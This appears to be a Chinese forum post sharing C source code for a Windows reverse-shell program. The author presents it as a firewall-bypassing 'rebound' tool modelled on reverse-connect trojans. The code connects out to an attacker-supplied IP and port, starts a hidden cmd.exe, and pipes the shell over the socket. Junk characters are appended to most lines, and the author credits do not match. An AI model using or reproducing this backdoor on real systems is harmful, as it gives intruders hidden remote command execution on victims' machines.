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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s!/TU{8J  
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/* ============================== DOm[*1@^  
Rebound port in Windows NT 3+MB5 T  
By wind,2006/7 `ir3YnT+  
===============================*/ Ql?^ B SqG  
#include y0v]N  
#include "s W-_j]  
3`9{T>  
#pragma comment(lib,"wsock32.lib") wHz?#MW 3L  
a :SQ16_?  
void OutputShell();  Z:2I/  
SOCKET sClient; 33:DH}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /Tz85 [%6  
`n!viW|tB  
void main(int argc,char **argv) '%v#v3'  
{ Z.Rb~n&  
WSADATA stWsaData; c*\<,n_  
int nRet; b7C e%Br  
SOCKADDR_IN stSaiClient,stSaiServer; U7&x rif  
mzL[/B#>M  
if(argc != 3) ]O:M$ $  
{ ps1YQ3Ep&  
printf("Useage:\n\rRebound DestIP DestPort\n"); L{ gE'jCC  
return; ,xJrXPW  
} rl:KJ\*D  
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WSAStartup(MAKEWORD(2,2),&stWsaData); T+"f]v  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1;u4X`8  
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stSaiClient.sin_family = AF_INET; yI:# |w|  
stSaiClient.sin_port = htons(0); Q/_[--0&#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  ]^"k8v/  
pw>m.=9|y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~WVO  
{ KB{RU'?f|  
printf("Bind Socket Failed!\n"); vnX  
return; ~4.r^)\  
} 3bC yTZk  
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stSaiServer.sin_family = AF_INET; @%tXFizh  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q5 &Ci`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OKuD"   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~pP0|B*%  
{ w=r&?{  
printf("Connect Error!"); "5DJu ~  
return; V7CoZnz  
} vTr34n  
OutputShell(); Qqs"?Z,P  
} ?`sy%G  
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void OutputShell() P1 +"v*  
{ \Z5 +$Ij  
char szBuff[1024]; 6DS43AQs  
SECURITY_ATTRIBUTES stSecurityAttributes; lhn8^hOJ/  
OSVERSIONINFO stOsversionInfo;  :,]S}R  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +KK$0pL  
STARTUPINFO stStartupInfo; >POO-8Q  
char *szShell; f~& a-  
PROCESS_INFORMATION stProcessInformation; u'9gVU B  
unsigned long lBytesRead; dK?); *w]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B5=3r1Ly  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0TE@xqW  
stSecurityAttributes.lpSecurityDescriptor = 0; "|LQK0q3  
stSecurityAttributes.bInheritHandle = TRUE; Q49BU@xX  
}*;EFR6'  
(*^DN{5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +!>LY  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u?Hb(xZtg=  
nW;kcS*A  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a#(U2OP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c;!g  
stStartupInfo.wShowWindow = SW_HIDE; Vb6K:ZnF  
stStartupInfo.hStdInput = hReadPipe; #;j9}N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i&tsYnP2  
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GetVersionEx(&stOsversionInfo); n`5WXpz4;  
4KIWb~0Y  
switch(stOsversionInfo.dwPlatformId) Cyk s  
{ XSD%t8<LO  
case 1: xe:' 8J6L  
szShell = "command.com"; ;x[pM_  
break; [STje8+V  
default: X\2_; zwf  
szShell = "cmd.exe"; l:e9y$_)  
break; q(9%^cV6  
} tP'GNsq+m  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mY2:m(9"5  
D u_$C[  
send(sClient,szMsg,77,0);  v4<j   
while(1) d.}}s$Q  
{ jn=ug42d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Lt<oi8'N  
if(lBytesRead) -{x(`9H;  
{ 3ut_Bt\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OD4W}Y.  
send(sClient,szBuff,lBytesRead,0); jb@\i@-  
} {g=b]yg\o  
else ,?=KgG1i  
{ E`E'<"{Yd  
lBytesRead=recv(sClient,szBuff,1024,0); : ^(nj7D  
if(lBytesRead<=0) break; *FPg#a+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I)[B9rbe  
} !A-;NGxE  
} QWhp:] }  
uB+9dQ  
return; QT}iaeC1i  
}
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